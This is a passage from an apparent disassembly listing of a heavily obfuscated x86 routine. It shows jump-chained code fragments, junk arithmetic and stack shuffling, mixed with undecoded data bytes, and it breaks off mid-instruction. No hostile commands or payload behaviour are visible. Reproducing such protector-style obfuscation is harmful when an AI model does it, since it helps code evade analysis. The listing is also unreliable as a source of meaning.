5E19C181h, 6EE91B63h, 8700000Ah dd 815C240Ch, 473135EEh, 0BBDFE907h, 81470000h, 0B619AAEFh dd 5FFA899Ah, 8747FA87h, 0E8B5E9FAh, 48BFFFFh, 4C48124h dd 88000000h, 0E1EE9DDh, 0EE000000h, 0FED6F659h, 0B75366C6h dd 66FE0035h, 0F3EE805Bh, 0F5AF300h, 8B66C0B6h, 0EC832414h dd 241C8904h, 241C8B54h, 2D2568h, 24048900h, 405E089h dd 5000000h, 4, 0FF98E8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BE91: ; CODE XREF: sub_542C3C+1A69Dj inc eax xor eax, 40643h add ecx, 39C65577h jmp loc_55B622 ; --------------------------------------------------------------------------- dw 0C831h dd 58C60159h, 5B5EF001h, 0BA5253h, 8932808Bh, 24148BD3h dd 0FFB020E9h, 4B9FFh, 0C3810000h, 51C9187Bh, 0EB81CB01h dd 51C9187Bh, 592434FFh, 5004C483h, 73610DB8h, 0F48AE972h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BEE2: ; CODE XREF: sub_542C3C+131FAj and esi, ecx pop ecx not esi xchg edi, esi jmp loc_567FB4 ; --------------------------------------------------------------------------- dw 5768h dd 5A84D8B6h, 158C201h, 7AE95AD0h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BEFF: ; CODE XREF: sub_542C3C+1AEC3j pop edx not ecx neg ecx xor ecx, 7C6C4990h push ecx jmp loc_55D985 ; --------------------------------------------------------------------------- dd 0C381E389h, 4, 8704EB83h, 53E9241Ch db 0C9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BF23: ; CODE XREF: sub_542C3C+1B1B1j xor [esp+48h+var_48], ecx xor ecx, [esp+48h+var_48] pop esp sub bl, 0C7h add bl, cl push ecx mov ch, 44h xor ch, 83h add bl, 7Ah jmp loc_5579CE ; --------------------------------------------------------------------------- db 0FFh, 32h, 0E9h dd 0FFFF7608h ; --------------------------------------------------------------------------- loc_55BF44: ; CODE XREF: sub_542C3C+1B1E3j add edx, ebx pop ebx add edx, 4 jmp loc_558857 ; --------------------------------------------------------------------------- dw 5ADh dd 60636EFCh, 8D0D502Dh, 5D80132h, 328D0D50h, 0FFF0E2E9h dd 4B9FFh, 44810000h, 6E20424h, 44815E68h, 8D10424h, 4C013A0Ah dd 6C810424h, 8D10424h, 6C813A0Ah, 6E20424h, 0C8B5E68h dd 83E7E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BF9A: ; CODE XREF: sub_542C3C+1A3BFj sub ebp, 60393B9Ch add ebp, 83D33D7Bh add edi, 681F2264h sub edi, ebp sub edi, 681F2264h mov ebp, [esp+44h+var_44] add esp, 4 pop ebp add esi, edi pop edi sub esi, 4 xchg esi, [esp+38h+var_38] pop esp mov [esp+34h+var_34], ebx push [esp+34h+var_34] jmp loc_55F363 ; --------------------------------------------------------------------------- db 68h dd 947h, 4175E9h, 5EAC100h, 0C46C281h, 0BD55FC22h, 134142EDh dd 0FFA78BE9h, 14B951FFh, 505AAD77h, 472F14B8h, 4E0C157h dd 0AE122805h, 8BC131A3h, 0C4812404h, 4, 0E3E9C801h, 8000006Bh dd 0C480B7ECh, 5E4C0FFh, 2E12E9h db 0 ; --------------------------------------------------------------------------- loc_55C025: ; CODE XREF: sub_542C3C+16859j xor ebx, [esp+0A2h+var_A2] mov esp, [esp+0A2h+var_A2] push 93Eh jmp loc_55A2B6 ; --------------------------------------------------------------------------- db 1, 54h, 24h dd 34FF5A04h, 0B13CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C042: ; CODE XREF: sub_542C3C+109BEj push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp+58h+var_58] jmp loc_55CA49 ; --------------------------------------------------------------------------- dw 34FFh dd 0B61AE924h, 0A4BBFFFFh, 1274B36h, 2434FFD3h, 4C4815Ah dd 0E9000000h, 0FFFFABCEh, 5A58C788h, 6EE9D5F6h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C07F: ; CODE XREF: sub_542C3C+1F71Dj add al, cl jmp loc_56766C ; --------------------------------------------------------------------------- loc_55C086: ; CODE XREF: sub_542C3C+1D2CEj mov [esp+58h+var_58], edi mov edi, 6D355B80h jmp loc_55E482 ; --------------------------------------------------------------------------- db 81h dd 4C5h, 45E95100h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C09F: ; CODE XREF: sub_542C3C+17222j xor ebx, ebp pop ebp add ebx, 1 jmp loc_55BE01 ; --------------------------------------------------------------------------- loc_55C0AA: ; CODE XREF: sub_542C3C+25A90j push [esp+98h+var_98] pop eax add esp, 4 jmp loc_5666AF ; --------------------------------------------------------------------------- loc_55C0B6: ; CODE XREF: sub_542C3C+18F55j mov [esp+0AAh+var_AA], ecx jmp loc_562B07 ; --------------------------------------------------------------------------- loc_55C0BE: ; CODE XREF: sub_542C3C+1B42Aj add eax, ebp pop ebp push esi mov esi, 61291754h or esi, 56EA13AFh dec esi jmp loc_562520 ; --------------------------------------------------------------------------- aIrsZ db '‰àéÇz',0 align 2 dw 0F581h dd 1F8C8EC5h, 0FFA120E9h, 7FA025FFh, 43535F3h, 81000240h dd 0C0EECC3h, 7DEB810Ch, 1565159h, 7DC381C3h, 81565159h dd 0C0EECEBh, 5350580Ch, 0B1BCE9h, 0E9585400h, 482Bh ; --------------------------------------------------------------------------- loc_55C118: ; CODE XREF: sub_542C3C+209A3j mov ebp, 33AB3E4Ch push ecx mov ecx, 3D7A1983h jmp loc_55B1D8 ; --------------------------------------------------------------------------- dd 24048B66h, 8904EC83h, 0E789243Ch, 160168h, 0E283E900h dd 3489FFFFh, 0E824E924h, 895CFFFFh, 0BCB5240Ch, 0E5C0CDFEh dd 79E1E907h, 3C89FFFFh, 393D6824h, 24890000h, 24048324h dd 2434FF04h, 0D16E9h db 0 ; --------------------------------------------------------------------------- loc_55C16D: ; CODE XREF: sub_542C3C+1FB6Dj mov eax, 1 add ebp, 226D4849h jmp loc_5663D1 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0FFA704E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C185: ; CODE XREF: sub_542C3C+18E0Dj pop eax xchg ecx, [esp+0A2h+var_A2] mov esp, [esp+0A2h+var_A2] pop edx pop eax loc_55C18E: ; CODE XREF: sub_542C3C+163A4j ; sub_542C3C+230F6j push [esp+9Ah+var_9C+2] mov ebx, [esp] add esp, 4 push 782Fh mov [esp], eax push esp pop eax push ecx mov ecx, 1F8110EEh inc ecx and ecx, 46D72E39h jmp loc_55F9BC ; --------------------------------------------------------------------------- dw 90B4h dd 0FF58E300h, 835A2434h, 0C38004C4h, 0C0B60FB3h, 67B1E9h dd 88B100h, 0CB285BF9h, 80C32859h, 0EB80F8C3h, 29EB806Eh dd 46B55166h, 5966EB28h, 8371EB80h, 0C8904ECh, 0A9A2E924h dd 0E95F0000h, 0FFFFC2D5h, 2045B850h, 6025303Bh, 0D29DF09h dd 7EF73359h, 0C813A60Dh, 0F060E93Ah, 5058FFFFh, 77ED2B8h dd 58C22923h, 6E0AE9h, 335D5A00h, 34312434h, 24343324h dd 7C62E9h db 0 ; --------------------------------------------------------------------------- loc_55C235: ; CODE XREF: sub_542C3C+201E2j pop ebx push edx jmp loc_55E854 ; --------------------------------------------------------------------------- aUUs8iiHH db 'U½ÊUs8‰ë]h',27h,'H',0 align 2 dw 5FE9h dd 0ADFFFFE0h, 9B1BE9h db 0 ; --------------------------------------------------------------------------- loc_55C255: ; CODE XREF: sub_542C3C+15456j mov edi, [esp+94h+var_94] add esp, 4 push esi mov esi, 7421737Fh push edi mov edi, 6D9657Eh or esi, edi pop edi xor esi, 37BD3821h inc esi push ebx mov ebx, 0BF5FF8h jmp loc_5586C7 ; --------------------------------------------------------------------------- db 81h dd 3F097EEBh, 0C118E9D0h, 0EC83FFFFh, 24048904h, 0CB293FB8h dd 58C5297Dh, 3E67E581h, 0C58148EAh, 6C90A12h, 240C8B55h dd 0B6C9E9h, 4C78100h, 0E9000000h, 0A316h, 5BC7BE56h, 0F7295614h dd 5371E9h db 0 ; --------------------------------------------------------------------------- loc_55C2C5: ; CODE XREF: sub_542C3C+1F7D4j add ebp, 24A130F1h sub ebp, 369015CEh shr ebp, 6 shl ebp, 2 xor ebp, 54E614h add eax, ebp pop ebp push esi jmp loc_55CB5B ; --------------------------------------------------------------------------- dw 0C381h dd 4D0C11E6h, 3EE1E9h, 1C77FF00h, 6659669Dh, 9C241CD3h dd 0FF724BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C301: ; CODE XREF: sub_542C3C+21C80j sub ebp, 1 jmp loc_5627AE ; --------------------------------------------------------------------------- db 89h, 0E5h, 81h dd 4C5h, 4ED8300h, 0E9242C87h, 0FFFF92F5h, 53616866h, 24148966h dd 92768h, 7A20E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C32E: ; CODE XREF: sub_542C3C+10972j shl edx, 6 inc edx or edx, 6DF42A78h add edx, 3D194452h sub edx, 10DD4C73h jmp loc_555139 ; --------------------------------------------------------------------------- loc_55C349: ; CODE XREF: sub_542C3C+1AE86j mov [esp+5Ch+var_5C], edx mov edx, 99CFF2D4h push edi mov edi, 7510AADh sub edi, 0A665D77Eh jmp loc_55DD1A ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0C1810000h, 4, 5261E9h db 0 ; --------------------------------------------------------------------------- loc_55C375: ; CODE XREF: sub_542C3C+2591Bj xor edx, 6DFF0B43h mov ebp, edx pop edx shl ebp, 3 shr ebp, 6 push eax mov eax, 7BEE0EF3h sub eax, 223903A7h push ecx push esi mov esi, 266C261Ch mov ecx, esi pop esi and eax, ecx pop ecx jmp loc_55662D ; --------------------------------------------------------------------------- loc_55C3A1: ; CODE XREF: sub_542C3C+2038Aj push ecx not [esp+64h+var_64] jmp loc_55CEB9 ; --------------------------------------------------------------------------- loc_55C3AA: ; CODE XREF: sub_542C3C+22656j sub al, dh mov dx, word ptr [esp+64h+var_64] add esp, 2 jmp loc_55C5D0 ; --------------------------------------------------------------------------- loc_55C3B8: ; CODE XREF: sub_542C3C+2310Fj add edi, 4 add edi, 4 xchg edi, [esp+60h+var_60] pop esp shr eax, 3 push 4EB4h jmp loc_553A0D ; --------------------------------------------------------------------------- loc_55C3D2: ; CODE XREF: sub_542C3C+12FBAj pop esp jmp loc_5543F7 ; --------------------------------------------------------------------------- dd 241C8B5Ah, 6804C483h, 4EADh, 55241C89h, 34316850h, 0F7581FA6h dd 2CF50DD8h, 0D0F72199h, 0F425EA35h, 58C5895Ch, 0E9ED8145h dd 8942D235h, 242C8BEBh, 104C483h, 241C8BD9h, 8704C483h dd 0E95C240Ch, 0FFFF77C0h, 92CF8166h, 0C7816602h, 0A1E9EFABh db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C42F: ; CODE XREF: sub_542C3C+1EC7Dj pop eax jmp loc_55D071 ; --------------------------------------------------------------------------- loc_55C435: ; CODE XREF: sub_542C3C+1FFD6j and ecx, 65E36E6Dh xor ecx, 4CD71CC3h mov ebp, ecx pop ecx add edx, ebp pop ebp mov esi, [esp+7Eh+var_80+2] jmp loc_55DF95 ; --------------------------------------------------------------------------- loc_55C44F: ; CODE XREF: sub_542C3C+1BC64j pop edx xor ebp, [esp+7Ah+var_7C+2] xor [esp+7Ah+var_7C+2], ebp xor ebp, [esp+7Ah+var_7C+2] pop esp xor eax, edx jmp loc_566FEC ; --------------------------------------------------------------------------- db 33h, 2Ch, 24h dd 33242C31h, 248B242Ch, 17D66824h, 3DE90000h, 0B50000A5h dd 9FD6E97Fh, 3487FFFFh, 0EB315D24h, 4BE9DD31h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C48B: ; CODE XREF: sub_542C3C+2598Bj add esp, 4 or ebp, 26BC6A86h neg ebp dec ebp sub esp, 4 mov [esp+76h+var_78+2], ebx mov ebx, 2E703CCEh or ebp, ebx mov ebx, [esp+76h+var_78+2] add esp, 4 sub esp, 4 mov [esp+76h+var_78+2], eax push edi mov edi, 13477848h mov eax, 81E9CF8Dh sub eax, edi pop edi xor eax, 765A9Ah xor eax, 0C1A7B102h sub ebp, eax pop eax push ecx push ebp jmp loc_559979 ; --------------------------------------------------------------------------- aYzqsO db 'YZQé$®',0 align 10h loc_55C4E0: ; CODE XREF: sub_542C3C+254C6j push 27D01783h pop ebx not ebx or ebx, 0FF965C7h dec ebx push edx jmp loc_55467C ; --------------------------------------------------------------------------- db 29h, 0DAh, 8Bh dd 0C481241Ch, 4, 0FFE342E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C505: ; CODE XREF: sub_542C3C+2322Fj add cl, 0FFh inc cl add cl, 8Ah add al, cl pop ecx push ecx push 3792h mov [esp+82h+var_84+2], ebx jmp loc_560A13 ; --------------------------------------------------------------------------- dw 0C31h dd 0F5A8E924h, 159FFFFh, 3C8B58C1h, 87C6E924h, 0C4810000h dd 4, 424748Ah, 2A60E9h, 68D5F600h, 705Fh, 68241C89h, 15A2h dd 0B0240489h, 28F7B331h, 0DD0058C3h, 0FFE8305Bh, 83592434h dd 0EC8104C4h, 4, 0B5240C89h, 9622E921h, 34310000h, 24343324h dd 8924248Bh, 2DB9240Ch, 31192A26h, 2434FFC8h, 0FF2434FFh dd 95E92434h, 9000053h, 0FB3559C8h, 15DF357h, 24048BC7h dd 4C481h, 29E90000h, 1FFFF7Fh, 3C875AD7h, 24248B24h, 0E92424D3h dd 0FFFF6F8Ch ; --------------------------------------------------------------------------- loc_55C5C0: ; CODE XREF: sub_542C3C+179E5j push [esp+84h+var_80] mov esi, [esp+88h+var_88] push ebx push esp pop ebx push eax jmp loc_55DA2E ; --------------------------------------------------------------------------- loc_55C5D0: ; CODE XREF: sub_542C3C+19777j push edx mov dl, 0DFh shl dl, 8 add dl, 0Ah shl dl, 5 jmp loc_55656B ; --------------------------------------------------------------------------- loc_55C5E1: ; CODE XREF: sub_542C3C+1F90Ej and edi, 2B9224Ch and edi, 6DFA783Bh push edi not [esp+68h+var_68] mov edi, [esp+68h+var_68] add esp, 4 sub edi, 0F41DD736h sub ebx, edi push [esp+64h+var_64] pop edi add esp, 4 jmp loc_55462F ; --------------------------------------------------------------------------- loc_55C60E: ; CODE XREF: sub_542C3C+2542Aj sub [esp+60h+var_5C], 9080C3Bh jmp loc_5609D3 ; --------------------------------------------------------------------------- db 8Bh dd 73E92424h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C623: ; CODE XREF: sub_542C3C+13D83j mov [esp+80h+var_80], eax xchg ecx, [esp+80h+var_80] not ecx xchg ecx, [esp+80h+var_80] mov eax, [esp+80h+var_80] jmp loc_5587CC ; --------------------------------------------------------------------------- dw 8953h dd 0A72EE9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C63E: ; CODE XREF: sub_542C3C+17EBDj mov ebx, 4 add esi, ebx pop ebx push eax push ebx push 62E10094h pop ebx dec ebx jmp loc_565662 ; --------------------------------------------------------------------------- dd 0F6FAB850h, 0C131212Dh, 8124048Bh, 4C4h, 0F838E900h dd 5259FFFFh, 0B168h, 243C8900h, 865BC1BFh, 0EECFE975h dd 6068FFFFh, 89000069h, 0E9502414h, 0FFFFFA47h ; --------------------------------------------------------------------------- loc_55C68C: ; CODE XREF: sub_542C3C+10911j push 37F5h mov [esp+5Ch+var_5C], edx mov dl, 9Fh add dl, 5Dh sub al, 7Bh jmp loc_55B158 ; --------------------------------------------------------------------------- loc_55C6A0: ; CODE XREF: sub_542C3C+24755j add esi, eax mov eax, [esp+5Ch+var_5C] add esp, 4 push ecx mov ecx, 223F4092h or ecx, 4D231956h xor ecx, 6F3F59D2h sub esi, ecx pop ecx xchg esi, [esp+58h+var_58] pop esp mov [esp+54h+var_54], edi push esi mov esi, 0AAC0F41h push esi xor [esp+5Ch+var_5C], 31EB1EDAh pop edi jmp loc_55D1F7 ; --------------------------------------------------------------------------- loc_55C6D8: ; CODE XREF: sub_542C3C+1C92Fj xor ebp, edi xor edi, ebp xor ebp, edi jmp loc_553B8C ; --------------------------------------------------------------------------- db 5Ah dd 5C240487h, 724D68h, 86C9E900h, 422C0000h, 0A3E92B2Ch dd 66FFFF81h, 50240C8Bh, 582CE9h, 0E0895000h, 405h, 40500h dd 4870000h, 48F5C24h, 8444E924h, 0CB800000h, 57E38061h dd 0E9C3CB80h, 0FFFFB4EEh, 31241C33h, 1C33241Ch, 24248B24h dd 590E6850h, 4890000h, 4290B824h, 44311689h, 34FF0424h dd 92EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C752: ; CODE XREF: sub_542C3C+11977j xor esi, edx pop edx and eax, esi mov esi, [esp+78h+var_78] push ecx mov ecx, esp add ecx, 4 jmp loc_55A17B ; --------------------------------------------------------------------------- dd 0B8240489h, 79B76C45h, 40AAE9h db 0 ; --------------------------------------------------------------------------- loc_55C775: ; CODE XREF: sub_542C3C+1D48Dj sub eax, 381345DEh mov edi, [esp+7Ch+var_7C] push 7FC5h mov [esp+80h+var_80], ebx sub esp, 4 mov [esp+84h+var_84], esp push edx mov edx, 4 add [esp+88h+var_84], edx pop edx pop ebx push ebp push esi mov esi, 6DC033C8h and esi, 5CB46D06h not esi inc esi add esi, 6D1F4EEEh mov ebp, esi pop esi shl ebp, 7 shr ebp, 5 and ebp, 7D911DA7h shl ebp, 1 add ebp, 0FFDFD4C4h jmp loc_556021 ; --------------------------------------------------------------------------- loc_55C7C9: ; CODE XREF: sub_542C3C+14B73j add esi, edi sub esi, 742373ECh pop edi jmp loc_55B8A8 ; --------------------------------------------------------------------------- aUsn db 'UéN:',0 db 0 ; --------------------------------------------------------------------------- loc_55C7DD: ; CODE XREF: sub_542C3C+1D971j mov ecx, [esp+0AEh+var_AE] add esp, 4 pop [esp+0AAh+var_AA] jmp loc_564117 ; --------------------------------------------------------------------------- db 0B9h dd 3B915B78h, 4506E981h, 0CE09C0F1h, 89C68159h, 18142E8h dd 0B9515EF3h, 6AC414D0h, 88BC181h, 0C18103D3h, 9168E2A9h dd 4B38E9h db 0 ; --------------------------------------------------------------------------- loc_55C819: ; CODE XREF: sub_542C3C+12347j shr edi, 7 and edi, 34D447BAh sub edi, 4049Ch add ecx, edi pop edi xchg ecx, [esp+8Ch+var_8C] pop esp or eax, eax jz loc_5541DF push dword ptr [edi+1Ch] push edx push edi push 3442h mov [esp+98h+var_98], ebx push ecx jmp loc_566B3D ; --------------------------------------------------------------------------- aXsD db 'Xé¤',0 align 10h dd 4C381h, 0C3810000h, 4, 0A7BAE9h, 0BF574500h, 50361FE6h dd 0E3F5C781h, 0EF81F7CCh, 0CAE25CE8h, 3C8BFD29h, 4C48124h dd 81000000h, 4ECh, 242C8900h, 0FF8B98E9h, 24048BFFh, 0E9E08950h dd 0FFFF9720h, 0B58EE952h, 0C4830000h, 4C48304h, 0FF7285E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C8A9: ; CODE XREF: sub_542C3C+1D35Dj sub al, 5Fh add al, 25h push ecx push eax mov al, 0CBh xor al, 7Ch shl al, 8 sub al, 6Ah shl al, 1 jmp loc_563CB1 ; --------------------------------------------------------------------------- db 1 dd 0B8505FFEh, 4, 0E958C601h, 0FFFF8C6Dh, 0E984C680h, 4385h dd 8904EC83h, 2C812404h, 0BD5F1424h, 0C2815A26h, 26BD5F14h dd 0F8B95158h, 17A167Ah, 0C28159CAh, 0DEE601Eh, 0EA81FA01h dd 0DEE601Eh, 7AF8EA81h, 32FF7A16h, 50EDBA52h, 543113F2h dd 0E95A0424h, 1567h, 0E9240489h, 1490h ; --------------------------------------------------------------------------- loc_55C924: ; CODE XREF: sub_542C3C+1C82Dj mov esi, 4D974251h push ebp mov ebp, 37A81E42h shr ebp, 2 xor ebp, 2FEA4EC0h jmp loc_568755 ; --------------------------------------------------------------------------- db 52h, 0FFh, 74h dd 0CBE90424h, 58FFFF9Ah, 0D800B304h, 0B8D8E9h db 0 ; --------------------------------------------------------------------------- loc_55C951: ; CODE XREF: sub_542C3C+22B29j sub ebx, 38B522ABh pop edx xor ebx, 39A37C9Dh add ebx, 0D2450395h push edx mov edx, ebx mov eax, edx pop edx mov ebx, [esp+0A4h+var_A6+2] add esp, 4 jmp loc_55FB5D ; --------------------------------------------------------------------------- dd offset off_427D68 dd 7BFEE900h, 68530000h, 653E1C27h, 68241C8Bh, 0B69h, 54241C89h dd 20BA525Bh, 42288F14h, 0B316E9h, 10C78100h, 8B47570Ch dd 89532404h, 0FE9EE9E3h, 6851FFFFh, 3F7555C7h, 81240C8Bh dd 4C4h, 8AC98100h, 813D9F2Dh, 0A10044F1h, 0C8895028h dd 5958C589h, 0E95DEE29h, 0FFFFA5A0h ; --------------------------------------------------------------------------- loc_55C9DC: ; CODE XREF: sub_542C3C+22DB2j add esp, 4 shr edx, 1 or edx, 6C7D052Ah xor edx, 4CFC748Ch jmp loc_5621B0 ; --------------------------------------------------------------------------- aLSck db '‹,$éçk',0 db 0 ; --------------------------------------------------------------------------- loc_55C9FD: ; CODE XREF: sub_542C3C+136B4j pop edx jmp loc_55FFAB ; --------------------------------------------------------------------------- db 8Bh dd 41E92424h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CA0B: ; CODE XREF: sub_542C3C+12711j mov edx, 5FD17E19h mov ebp, 4718520Fh jmp loc_55F0E1 ; --------------------------------------------------------------------------- loc_55CA1A: ; CODE XREF: sub_542C3C+13301j push eax mov eax, 5C3D3416h xor eax, 347E1A7Fh jmp loc_558861 ; --------------------------------------------------------------------------- dw 665Dh dd 5504E7C1h, 6C89BD66h, 92ED8166h, 0ED816625h, 87663493h dd 0D6F766F5h, 5D13E9h db 0 ; --------------------------------------------------------------------------- loc_55CA49: ; CODE XREF: sub_542C3C+19415j pop esp push [esp+54h+var_54] push [esp+58h+var_58] jmp loc_558877 ; --------------------------------------------------------------------------- db 0F7h, 0D5h, 45h dd 0CEEAED81h, 85E98C4Ah, 8B000012h, 89662424h, 0DDE92404h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CA6F: ; CODE XREF: sub_542C3C+24373j push 6F7C23ADh pop edx add edx, 9083DC57h sub ebx, 335F4E5Dh add ebx, edx push 6122h mov [esp+60h+var_60], ecx mov ecx, 10D352ADh not ecx dec ecx shr ecx, 5 xor ecx, 4CCB4DD4h push ebx mov ebx, 78ED66E3h xor ecx, ebx pop ebx jmp loc_562F5F ; --------------------------------------------------------------------------- dw 34FFh aYus db '$YUé!\',0 align 4 dd 9D1C77FFh, 14D25966h, 89E99C24h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CAC3: ; CODE XREF: sub_542C3C+1404Dj add ebp, esi pop esi xor ebp, [esp+80h+var_80] jmp loc_558A5C ; --------------------------------------------------------------------------- dw 0EB81h dd 3E2E0BFh, 6105EF81h, 0DF01756Ah, 0FFA946E9h, 0EBC281FFh dd 8B057F76h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_561F4A ; --------------------------------------------------------------------------- dd 0F3184ABBh, 6DC6810Fh, 290E6729h, 6DEE81DEh, 8B0E6729h dd 55E9241Ch db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CB13: ; CODE XREF: sub_542C3C+250EBj push 4E71h mov [esp+88h+var_88], ebx push edx jmp loc_565061 ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 0D5h dd 83FFFFE7h, 0BBE904C4h, 89FFFF85h, 2B9240Ch, 2D000000h dd 0D8A01CFh, 0CF05C801h, 590D8A01h, 5C240487h, 3486E9h dd 24248900h, 4BF57h, 2DE90000h db 5Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CB5B: ; CODE XREF: sub_542C3C+196A5j push edi push 32E04629h pop edi add edi, 45663881h jmp loc_5624EC ; --------------------------------------------------------------------------- db 68h, 2 dup(0) dd 2C290000h, 6AE95D24h, 0BA000028h, 0F846E9Fh, 77F3EA81h dd 65E9744Bh, 5EFFFFE5h, 0F675E935h, 7CA62D7Eh, 94E9F120h dd 5F00001Dh, 4906E9C1h, 0DBBF5741h, 811EB72Eh, 8B3620F7h dd 3CB1E94Eh, 3C890000h, 6EC6BF24h, 0E9813764h, 42BB2054h dd 593FE981h, 1AE93594h, 0C1FFFFB4h, 39E907EFh, 500000ACh dd 4B8h, 0B6E95600h, 8100001Eh, 4C5h, 242C8700h, 0E924248Bh dd 0FFFFF4A3h ; --------------------------------------------------------------------------- loc_55CBF0: ; CODE XREF: sub_542C3C+1FFC9j pop edi jmp loc_567DAB ; --------------------------------------------------------------------------- dw 0E581h dd 2FA3456Eh, 0FFD2E2E9h, 4C481FFh, 33000000h, 0C31240Ch dd 240C3324h, 0E924248Bh, 4767h, 54E6ED81h, 0D5015149h dd 54E6C581h, 0CDE95149h, 0FF00008Fh, 59042474h, 5C24048Fh dd 0E9241489h, 0FFFF82C8h, 1B509FBBh, 41E3812Ah, 0E907E318h dd 0B114h ; --------------------------------------------------------------------------- loc_55CC4C: ; CODE XREF: sub_542C3C+1722Dj add eax, 4 add eax, 4 jmp loc_5547DD ; --------------------------------------------------------------------------- db 50h, 0E9h, 76h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CC5F: ; CODE XREF: sub_542C3C+20D7Cj mov ebx, 13F86ED1h jmp loc_555A1F ; --------------------------------------------------------------------------- db 1, 0F8h, 0E9h dd 0BF1h, 0AAD685Bh, 14890000h, 0E9EA8824h, 0FFFF9FDBh dd 33185C2Dh, 24148B2Fh, 5104C483h, 4B9h, 59C80100h, 31240433h dd 4332404h, 7EE95C24h, 89FFFFB6h, 0E789243Ch, 4EC81h dd 14890000h, 5E0EBA24h db 0E0h, 3 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_562598 ; --------------------------------------------------------------------------- dd offset dword_445750+1718h dw 8900h dd 5152242Ch, 861FE955h, 0E689FFFFh, 304CBF57h, 0EF81040Fh dd 40F3048h, 835FFE01h, 0FF5604EEh, 5E042474h, 8B24048Fh dd 1C892424h, 0B3535024h, 46EB80C4h, 0E9FDE380h, 0FFFFBBB3h dd 0FD005DB5h, 52CDFE5Bh, 2D91E9h db 0 ; --------------------------------------------------------------------------- loc_55CD19: ; CODE XREF: sub_542C3C+1CEB6j sub eax, 4 push eax push [esp+80h+var_7C] pop eax pop [esp+80h+var_80] pop esp mov [esp+78h+var_78], ebp mov ebp, 0A6541A0h neg ebp jmp loc_556082 ; --------------------------------------------------------------------------- loc_55CD35: ; CODE XREF: sub_542C3C+25308j mov edx, [esp+78h+var_78] push edi mov edi, esp add edi, 4 jmp loc_5668F3 ; --------------------------------------------------------------------------- dw 0D0F7h dd 8B240487h, 0E3E9240Ch, 0FFFFFFBCh, 669D1C77h, 241CD359h dd 67EAE99Ch, 0CF89FFFFh, 5FF92159h, 4399E9h, 10B56800h dd 4890000h, 8EE95424h, 0B9000075h, 476381h, 0BD55E9D1h dd 4F682752h, 0F75DE901h, 8CF181D9h, 1CBE149h, 2434FFCFh dd 4C48359h, 0FFB6A2E9h, 571ABAFFh, 2DE92860h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CDAB: ; CODE XREF: sub_542C3C+1E8C4j sub eax, ecx pop ecx add eax, edi push edx mov edx, 52F60602h dec edx xor edx, 0CBB79F2h add eax, edx pop edx push ecx mov ecx, 0 add ecx, eax add [ecx], esi jmp loc_560FAC ; --------------------------------------------------------------------------- db 1 dd 0A878E9D7h, 0B850FFFFh, 4, 0E958C201h, 58B8h, 5BE9D5F7h dd 5D000064h, 5C24048Fh, 0E953E9F7h, 51DBh, 4C581h, 0C5830000h dd 242C8704h, 0FFD3015Ch, 0E95A2434h, 0FFFF6CDDh ; --------------------------------------------------------------------------- loc_55CE10: ; CODE XREF: sub_542C3C+20481j mov eax, [esp+7Ch+var_7C] add esp, 4 dec bl add bl, 0F9h add al, 3Fh add al, bl sub al, 3Fh push [esp+78h+var_78] mov ebx, [esp+7Ch+var_7C] add esp, 4 add esp, 4 pop cx jmp loc_554674 ; --------------------------------------------------------------------------- db 0BAh dd 0DA9A176Ch, 215AD601h, 24348BF3h, 4C481h, 0EC810000h dd 4, 51240489h, 1619B4B9h, 6558E96Eh, 4870000h, 0CC355C24h dd 816A607Fh, 4ECh, 24048900h, 0C7240481h, 5B045E71h, 71C7EB81h dd 6DE9045Eh, 5F000025h, 5004C483h, 4055854h, 0E9000000h dd 0FFFFDB69h, 43DBF75Bh, 0DEF3814Bh, 89CFA9B1h, 89535BD9h dd 0A0768CBh, 1C890000h, 0FF5B5A24h, 55592434h, 94BDE9h db 0 ; --------------------------------------------------------------------------- loc_55CEB9: ; CODE XREF: sub_542C3C+19769j pop ecx jmp loc_5578FA ; --------------------------------------------------------------------------- db 0BAh dd 4030543Dh, 815AD501h, 0C103E3EDh, 8505E976h, 5053FFFFh dd 0E951F088h, 0FFFFCEB4h, 0C9BEE81h, 335D3EC9h, 34312434h dd 24343324h, 43C1685Ch, 0BFE90000h, 0B9FFFF9Bh, 16255764h dd 68EEBB53h, 0D931D5C4h, 59CB015Bh, 5116F381h, 0D52D6705h dd 2D385772h, 1B446FC2h, 0FF86E7E9h, 58EE81FFh, 13E4239h dd 15CE9C6h, 0D1290000h, 8A28E95Ah, 4310000h, 24043324h dd 1168525Ch, 0E9000040h, 0FFFFECBFh, 5302C483h, 98B05051h dd 0CBE91BB1h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CF53: ; CODE XREF: sub_542C3C+18C72j push 5E51h mov [esp+84h+var_84], eax mov eax, esp add eax, 4 sub 